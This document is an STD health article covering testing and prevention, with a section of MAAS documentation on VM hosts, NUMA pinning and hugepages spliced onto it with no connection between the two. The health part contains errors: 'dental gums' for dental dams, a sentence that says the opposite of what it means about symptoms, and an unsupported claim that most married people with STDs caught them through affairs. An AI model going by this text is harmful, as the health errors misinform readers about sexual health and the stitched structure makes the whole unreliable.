Sexually transmitted diseases affect both genders. However, some are particular to females only. Each condition has its method of manifestation and testing, and this has to be done by a certified general practitioner. Physical examination is done mainly in the genital areas, and a patient has to be aware of this before accepting to undergo any tests. Now that sex requires the presence of two parties, it is essential that both individuals undertake the various analysis and take treatment in case of occurrence of infections. This is important to prevent re-infection and re-occurrence of the sexually transmitted disease that may result in severe complications.
It is vital for all unmarried persons to abstain from sex to prevent contraction and spread of STDs. Married people should practice monogamy and be faithful to one another since most married victims get these diseases as a result of extra-marital affairs. Most of the time, the third or fourth parties are the carriers of these diseases. Latex condoms and dental gums are necessary if you are unsure of the health status of your partner. Better of, booking an appointment with a doctor to undergo several tests for surety is the best thing to do. While some sexually transmitted diseases have a cure and are treatable, others do not. They can be contained using medication that lessens the symptoms of the infection.
Experiencing Symptoms: If a person is experiencing symptoms that they believe could be the result of a sexually transmitted disease, they should be tested immediately. The sooner the individual is tested, the sooner they can begin treatment. Not only will treatment eradicate the disease, the individual will be more comfortable. Also, when a person is treated, they won't need to worry about passing the disease on to another person.
A Previous Partner Tested Positive: If a person is told by a sexual partner that they tested positive for a sexually transmitted disease, they should be tested immediately. There are many people who will ignore these warnings because they are experiencing any symptoms. Since there are often no symptoms associated with STD's, the individual should be tested immediately. If they are infected, they will need to start treatment immediately.
Starting a Monogamous Relationship: If a couple starts dating and they both agree to be monogamous, they may not want to use condoms any longer, which is the best way to prevent STD's. Before the couple starts having unprotected sex, they should both be tested. This will give both people peace of mind that they are getting into a monogamous person who is clean and disease free. Being tested together may not be the most comfortable thing in the world, however, if the couple is going to start having unprotected sex, being tested is the safest way.
How To Prevent a Sexually Transmitted Disease?
Anyone who is sexually active is at risk of developing a sexually transmitted disease if they don't take the proper precautions. There are a few things that a person can do to ensure that they remain healthy.
Abstinence: The only guaranteed way for a person to keep from getting a sexually transmitted disease is to practice abstinence. This is where a person doesn't have sex with anyone. Since most adults are in relationships, abstinence is often not an option, therefore, additional precautions would be necessary.
Condoms: Condoms are the best way for a person to protect themselves from STD's. Most diseases can be prevented with a condom. If a person has herpes in an area where the condom doesn't cover, the virus can still be passed.


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MAAS VM hosts allow for the dynamic composition of nodes from a pool of available hardware resources (e.g. disk space, memory, cores). You can create virtual machines (VMs) as needed within the limits of your resources, without concern for physical hardware. MAAS currently supports VM hosts and VMs created via libvirt^. As part of MAAS 2.8, we also support LXD VMs and VM hosts as a Beta feature.
VM hosts are particularly useful for Juju integration, allowing for dynamic allocation of VMs with custom interface constraints. Alternatively, if you would like to use MAAS to manage a collection of VMs, the robust web UI allows you to easily create and manage VMs, logically grouped by VM host. Six conspicuous features include:
- Juju integration
- At-a-glance visual tools for easy resource management
- Set overcommit ratios for physical resources such as CPU and RAM
- Assign VMs to resource pools to segregate your VMs into logical groupings
- Track VM host storage pool usage and assign default storage pools
- Create VMs on multiple networks, specified by space, subnet, VLAN, or IP address
This section will lead you through the creation, usage, and management of VM hosts. Note that, as LXD VM hosts are still in Beta, some screen terminology has not yet been changed to reflect "VM host" instead of "KVM." You will still use the "KVM" tab on the top of the MAAS dashboard to reach the VM host functionality, and you may see buttons which refer to "Add KVM," for example, instead of "Add VM host." Rest assured that the Beta LXD VM host functionality is fully available through these channels.
Nine questions you may have:
- What is a VM host?
- Which VM host should I use: LXD or KVM?
- How do I set up SSH for use by libvirt?
- How do I add a VM host?
- How do I see resources for a specific NUMA node?
- How do I pin NUMA nodes to specific cores?
- How do I see resources for NUMA-node-bearing VM hosts?
- How do I see the alignment between VM host interfaces and NUMA nodes?
- How do I configure and use hugepages on my VMs?
Simply put, a VM host is a machine which is designated to run virtual machines (VMs). A VM host divides its resources (CPU cores, RAM, storage) among the number of VMs you want to create, based on choices that you make when creating each VM. It is also possible to overcommit resources – that is, use more resources than the VM host actually has available – as long as you use the VMs carefully. Once MAAS has enlisted, commissioned, and acquired a newly-added machine, you can deploy it as a VM host.
LXD VM host (Beta) vs. libvirt
Libvirt KVMs and LXD VMs are both based on the same underlying virtualisation technology, QEMU. Unlike libvirt KVMs, though, LXD VMs can be managed without requiring SSH access to the VM host. LXD are remotely accessed via secure HTTP transport, which provides better security for LXD-based VMs. In addition, LXD has a better API, and is part of a much larger constellation of enterprise software, offering a wider range of future features and use cases.
MAAS provides extensive optimisation tools for using NUMA with virtual machines. Earlier versions of MAAS guarantee that machines are assigned to a single NUMA node that contains all the machine's resources. As of 2.9, MAAS now allows you to see how many VMs are allocated to each NUMA node, along with the allocations of cores, storage, and memory. You can quickly spot a VM running in multiple NUMA nodes, and optimise accordingly, with instant updates on pinning and allocations. You can also tell which VMs are currently running.
In addition, you can get a bird's-eye view of network configuration:
- You can see which VM NIC/bond is connected to which NUMA node.
- You can tell when a NIC is connected to a different NUMA node.
- You can tell if one of multiple NICs is not in the correct node.
- You can confirm the subnet and space connecting to a VM.
- You can confirm that a VM has the desired network properties, such as latency and throughput.
- You can identify NICs that support SR-IOV and tell how many VFs are available.
MAAS also shows hugepages information (if they are in use) and prevents overcommit when using them. Hugepages essentially allow a much larger memory cache associated with the core. This obviously reduces the number of times a core has to access memory, but because the core must swap entire hugepages, optimising usage of them can be complex. MAAS helps you create these optimisations by giving you a discrete view of hugepages associated with your VM, helping you decide whether you need to use them or not.
Support for NUMA, SR-IOV, and hugepages
VM host management has been redesigned to support NUMA/SR-IOV configurations and hugepages from the API/CLI. Users can:
- See resources per NUMA node.
- Pin nodes to specific cores.
- See resources for VM hosts bearing NUMA nodes.
- See the alignment between VM host interfaces and NUMA nodes.
- Configure and use hugepages.
This section explains how to access this new functionality.
You can examine the resources of a NUMA node with the MAAS CLI. A very basic way to do so is to enter the following command for a configured VM:
maas $PROFILE machine read $SYSTEM_ID
In the resulting JSON output, look for the array entry
numanode_set, which will show the NUMA details for that specific VM:
"numanode_set": [
"index": 0,
"memory": 16384,
"cores": [
"hugepages_set": [
"page_size": 2097152,
"total": 0
Pin NUMA nodes to specific cores
With the MAAS CLI, you can pin NUMA nodes to specific cores when composing a virtual machine. For example, you can enter a command like this for a VM host you've already created:
maas $PROFILE vm-host compose $VM_HOST_ID pinned_cores=1 pinned_cores=2
Examine resources for NUMA-node-bearing VM hosts
With the MAAS CLI, you can get an overview of resource usage for an LXD host that's running NUMA VMs with the following command:
maas $PROFILE virtual-machines read
Currently, the API does not give you an aggregated usage, as provided in the UI; hence you'll have to look at the VMs and sum up the usage data yourself. You can see a list of pinned cores via this method, and we do show alignment of machines and NUMA nodes.
Examine the alignment between VM host interfaces and NUMA nodes
To see an alignment of VM host interfaces and NUMA nodes via the CLI, you can use the command mentioned above:
maas $PROFILE machine read $SYSTEM_ID
and focus on the
interface_block section in the resulting JSON. This will give you the alignment information you're seeking.
Configure and use hugepages on my VMs
Configuring hugepages for VM use consists of two steps:
- Creating a tag which includes a kernel option to use hugepages.
- Composing a VM backed with hugepages, tagged with the newly-created tag.
Here are the specific commands:
maas $PROFILE tags create name=use-hugepages kernel_opts=default_hugepagesz=1G hugepages=20"
maas $PROFILE vm-host compose $VM_HOST_ID pinned_cores=$CORE_NUMBER hugepages_backed=true
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